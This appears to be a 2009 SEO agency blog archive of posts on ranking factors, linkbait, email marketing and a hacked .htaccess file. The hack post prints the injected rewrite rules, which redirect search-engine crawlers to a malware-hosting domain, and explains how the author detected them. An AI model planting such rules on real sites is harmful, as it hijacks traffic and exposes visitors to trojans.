Search Engine Rankings – Ways to Achieve Higher Rankings

Posted on 06 March 2009 by Jeremy Hermanns

Search Engine RankingsEveryone knows that great search engine rankings are a crucial part of generating online traffic. Anyone who has anything to do with online marketing to Web design has heard of search engine optimization and the great results it can provide businesses. There are many factors that search engines take into consideration when they formulate their results. This can make it difficult for many businesses because they don’t know on which factors they should focus. They end up spending a small amount of time on each factor, which decreases the effect of them. There are a few factors that businesses should focus more time working on to achieve greater results.

One of the most important factors in achieving high search engine rankings is the title tag. If this is too long, it can confuse the system and hurt the rankings. The best way to attain high rankings is by having a short, relevant title tag that has keywords in it. The majority of people who use search engines do so with specific keywords in mind. If a business isn’t using the best keywords for their service, it decreases the odds of people finding their site. Another factor companies should use to optimize their rankings is the META description. It is there to describe the site, so companies should take advantage of that by using keywords throughout the description.

Another factor in optimizing a Web site’s search engine rankings is through the number of pages a site has. Search engines typically rank sites with more pages higher. Part of the reason this is the case is because of linking. The more pages a site has, the more opportunity it has to build internal links, which search engines rank highly. A relatively new way for sites to get better rankings is by having different types of media in their site. Having interesting and relevant pictures and videos can help draw a larger audience to a site. For this to work, though, the media must be relevant to the site.

These aren’t the only ways to achieve high search engine rankings. There are far too many to list. These few are a good start for any Web site looking to improve the rankings. By spending more time and attention on a few can make increasing rankings easier. The few focused on will be done better instead of haphazardly working on every factor you can think of. Doing every factor doesn’t guarantee better results because the factors most likely are done poorly.

Contact SimpleSEM to improve your Search Engine Ranking Today!

Search Engine Optimization Services – A Thriving Business in Today’s Economy

Posted on 04 March 2009 by Jeremy Hermanns

Frustrated Business OwnerBecause of the current state of the economy, many businesses are struggling and dealing with downsizing. One business that is expanding and growing during this time isn’t really talked about outside the marketing and online circles. One type of growing business service is search engine optimization services. Although their services can become costly, they are being used daily because of the results they can provide. Companies know they have to cut back on their budgets, including marketing, so they are using tools that generate the most results. These services help companies generate the traffic needed to keep their business afloat, so companies aren’t downsizing the SEO services.

Search engine optimization services have been around for years and companies have recognized their importance from the beginning. Companies had the budgets to use their services, along with their regular marketing techniques. But because many companies are forced to cut their budgets drastically, they have been forced to examine what actually works for them. SEO has stayed in many companies’ budgets because it helps them get the traffic to their sites that they need to survive. With more and more people using the Internet, companies know they need to keep an online form of marketing. The professional SEO services give them the best results they can get.

Because studies have shown that people using search engines tend to choose from the top half of the list, companies have long used search engine optimization services as a great marketing tool. It worked so well when the economy was good and companies could afford larger marketing budgets. Now with the state of the economy, companies only are using what works best. These services are able to generate the traffic they need to their sites so companies are able to focus on providing a consistently great product to the consumer.

Search engine optimization services are one of the few booming businesses in today’s fragile economy. Companies know they need great Web sites and traffic to survive in today’s world, so they aren’t sparing tools that work. This is one aspect of their budgets they know they need to keep. Because companies are trying to hard during this time to be recognized online, SEO services are one of the few businesses that are seeing an increase in business. They provide a service that companies value so much during this time that they can’t afford to take it out of their budgets.

Contact SimpleSEM to Improve Your Search Engine Rankings Today.

SEO: A Process NOT a Project | SEJ

Posted on 23 February 2009 by Jeremy Hermanns

By: Steve Plunkett

Steve wrote a fantastic article about the cumulative and ongoing process that SEO is!!! Check it out below (then go to Search Engine Journal and read it all!):

Organic search engine optimization (SEO) is not a one time project, it’s a process. Similar to a garden, you must tend to it. Sometimes you have an existing garden where the weeds have grown over or nothing is growing. Sometimes you just have a section of yard you are going to rope off, till, then plant stuff in. Like a garden, organic SEO takes time and attention. It may be as simple as setting a timer to water or as complex as starting from scratch. Organic SEO is like a garden – if you don’t water it, it dies.

Soil Considerations

What is the history of the things that have been done to your website for SEO purposes?

Do you have pages chock full of links to websites unrelated to your company, where some of the website no longer exist or even some link to an “adult” website? Did someone hide a bunch of keywords the same color as your background at the bottom of the page? Maybe the site you are going to work on has commented out a bunch of keywords in the HTML code? (I know this is 2009, but some company, somewhere, has this on its Web site, right now.)

Sunlight, Rainfall and Other Factors

Traffic Analysis – Are there metrics on the company’s website? What kind of information can you gather from the statistics on what is going on with keywords, referrers, exit pages, entry pages, bounce rate, etc.? What metrics program does your company use?

We always ask our clients to install the website analytics program we use -

Hitslink – simply because it provides the measurements we need for our clients and also allows for consistent report formats for all clients.

What Plants shall we put in our garden?

Keyword Research – Gather the keywords out of the client’s current website metrics and obtain client input on what they think someone might type to search for them.

We usually use a method that I have used for many, many years. We ask the CEO, (get’s them involved at the top), the receptionist, the sales managers, the marketing director, the CFO and the COO (these two help get things done and also make sure you get paid) to provide five to 10 keywords each and not to share them with each other. This becomes statistically significant when you have different people come up with a keyword phrase more than once. Take these and put them into spreadsheets so we know what department wants what traffic and also to refer to later.

This is the primary keyword stage. You can also correlate what keyword terms got the most traffic and the lowest bounce rate to their Web site compared to what the client expects. Now obviously, you must factor in the fact that if the content doesn’t exist on their Web site right now, they won’t be found for it.

What kind of pesticides would be best to use to combat bugs?

Read the Entire Post: SEO – a Process NOT a Project at Search Engine Journal Now!

Do More With Your Online and Email Marketing Campaigns With iContact

Posted on 22 February 2009 by Jeremy Hermanns

icontact-homescreenWith iContact’s extensive features, you can easily create Email Messages, send them to your subscribers, and track their performance. When you apply Autoresponders to your email marketing campaign, you can stay in the forefront of your customer’s mind with automatic messages based on timed sequences or customer actions. Surveying provides you, the marketer a platform to collect data from your customers and iContact provides you with the real-time results of your data. RSS Feeds are the latest direct online communication tool. Your customers will immediately receive your most recent messages when they sign up for you RSS feed. iContact is a leading on-demand email marketing service, enabling organizations of all sizes to easily create, send, and track email newsletters, RSS feeds, blogs, surveys, and autoresponders.

Standard Features (Included free with your account!)
* Mail-merge Personalization
* Forward-to-a-Friend
* SpamCheck™
* Bounce-back Handling
* WYSIWYG Newsletter Editor
* Message Scheduling
* Assured CAN-SPAM Compliance
* Open and Clickthrough Tracking
* Subscription Management
* Over 300 Templates Included

Advanced Features (Also included free with your account!)
* List Segmentation
* Multiple Message Autoresponder
* Integrated Surveying
* RSS Feeds
* Advanced Analytics
* Event Management
* Industry Leading Deliverability
* Public Newsletter Archives

Digg – iContact – Online & Email Marketing Campaigns that Work!

Where did my PageRank Go? Overview of the “Bablo. me. uk” ht.access Hack

Posted on 22 February 2009 by Jeremy Hermanns

Very recently, I noticed a the PR of this very site was dropping with little to no reason. We DON’T condone any Black Hat techniques, we use no paid linking to promote the site, and we have a very good domain history. But, still our PR was precipitously dropping with no reason. I started to dig into this last night and found out we had our ht.access file hacked!

There was a suspicious redirect we could diagnose in Google Webmaster Tools – that alerted us to the problem:
Google WebMaster Tools for Diagnostics - To the Rescue!

The malicious 301 code that was inserted in our ht.access is below:

RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ http://bablo .me .uk/ [R=301,L]

I decided to follow the redirects and find out where they lead to. What I found was a server hosting hundreds of sites optimized for trojan virus downloads.

Here are a few things that Webmasters and site owners shuld be on the lookout for with this hack/exploit:

– PHP-driven site. (Especially Joomla, Drupal or WP CMS’s)
– Problems with having web site properly indexed by Google.
– Some pages don’t get indexed, some pages disappear from the index.
– When checking web pages in Unmask Parasites, there is a chain of two 301 redirects reported and the first redirect points to “http://bablo .me .uk/”.

I recommend using some tool that shows HTTP headers and allows to change User-Agent string. For instance, web-sniffer with the Googlebot user agent. If the site is compromised, you’ll see the following lines in the response headers:

HTTP/1.1 301 Moved Permanently
Location: http://bablo .me .uk/

Please be careful out there – this was a huge hit to our traffic and business – but with simple and careful diagnosis this issue was fixed and we can move on to grow our business PR properly again!

LinkBait Launch Cycle | SEO Book.com

Posted on 09 February 2009 by Jeremy Hermanns

Launch Your Linkbait Right - and Reel in the Cash!Most people don’t care about you. You could have just written the greatest article on SEO. You might be giving away a killer new tool. For free. And what happens?

Nothing.

Unfortunately, people are just too busy. Everybody is competing for attention, and sometimes it’s just easier for others to Twitter about something, than to write a blog post and link to you. That’s if they even bother to do that much!

Here’s are a few ideas on how to get around this problem, and get noticed.

1. If It’s Free, Make It Look Like It Isn’t

People often value things based on the price they pay for it. So if you aren’t charging for something, some people will assume it is worthless.

Dress the product up as though you are charging for it. That is, create a brand, make the graphics and site layout look good. Try to create a perception of value by using the same tools as if you were selling a product.

2. Don’t Publish Your Article/Idea As A Blog Post

Blog posts are perceived as low value.

Create a dedicated branded site, or dedicated branded page for your product, service or idea. By all means create a blog post to link to your branded site or page, but try to make the presentation of your idea different that what you normally do.

For example, Aaron recently released the SEO Toolbar. This toolbar is free, but Aaron treated it the same as if he was charging for it. It has it’s own dedicated page and dedicated brand.

3. Brand It

People take brands seriously. And they remember them. What is more memorable – a regular blog post in which you bestow awards, or a branded SEO awards site.

If you create a logo, people may use the logo when talking about you. This helps spread your idea, and your identity. $100 spent on a logo is nothing if it helps get you a few high profile links.

4. Save The Advertising For Later

Do you link to pages with Adsense all over them?

If a page is plastered with ads, it can look low value, and people may be reluctant to link to it. The exception is if you have already established a high level of trust with your audience. Even so, it’s probably better to strip out the ads, at least initially, as your primary aim is to get attention and links.

You can always put the ads back in later.

5. Establish Social Proof Of Value

You need to prepare your market.

A few weeks or months out, start approaching people in your niche. Try to get the attention of people who have influence in the space. Comment on their blogs. Get your name known. Then, when it comes to your launch, you’re already a familiar name.

Once you’ve launched, ask for feed-back, and be sure to quote any mentions you’ve had in the press. If people see that big name sites they are already familiar with have covered your stuff, they are more likely to be receptive to your ideas.

6. Learn PR

PR emails can be tedious, but they can work if done well.

Send out some well-targeted, personalized emails to a hand-picked group of industry commentators. Try to offer them something for covering you i.e. offer them a free service, or product, or links, etc. Many people will just be happy to spread the word if you’re offering something truly unique and interesting.

7. Be Everywhere

Try to get seen in as many channels as possible.

Vertical search provides a number of opportunities if you can repeat your idea in different mediums. For example, you could create a video and put it on YouTube. Release your post as an audio track, or a presentation.

Twitter your stuff and remind people to check out your blog post. On your blog post, incorporate buttons that enable people to bookmark your page, or vote it up on Digg, or other aggregation services.
Video Presentation

Aaron covers these topics, and more, in the LinkBait Launch Sequence presentation.

LinkBait Launch Cycle : SEO Book.com

Los Angeles Music – Google’s New Killer App? Why Are Music Bloggers’ Posts Disappearing, and Who Is Deleting Them? -

Posted on 08 February 2009 by Jeremy Hermanns

Ooga booga! Google can be scary and controlling!In the past Google would remove results when a DMCA claim was filed, now they are deleting actual posts from Bloggers Accounts …

Andrew Pederson, a spokesperson for the Mountain View–based company, explained via e-mail, “When we are notified of content that may violate our terms of service, including clear notices of alleged copyright infringement, we act quickly to review it, and our response may include removing allegedly infringing material. If material is removed, we make a good-faith effort to contact affected bloggers using the e-mail address they set up when they signed up for Blogger.

Ryan Spaulding, the proprietor of Boston-based music blog Ryan’s Smashing Life, noticed something odd happening to his archived posts a few months ago. His blog, founded in 2006, has expanded to include four contributors and now rakes in about 25,000 hits a month. Chump change compared to megablogs like Nah Right or Stereogum, which average at least twice that daily, but enough to attract a modicum of ads and a devoted community of readers.

But in November, some of Spaulding’s posts, both recent and older, long-forgotten ones, started disappearing from his site. There didn’t seem to be any rhyme or reason to it. One moment they were there, the next they were gone. Confused, he started comparing notes with other music bloggers, and they noticed a trend. A lot of posts across the Web, on everything from Abba to Zappa, had vanished…

Los Angeles Music – Google’s New Killer App? Why Are Music Bloggers’ Posts Disappearing, and Who Is Deleting Them? -

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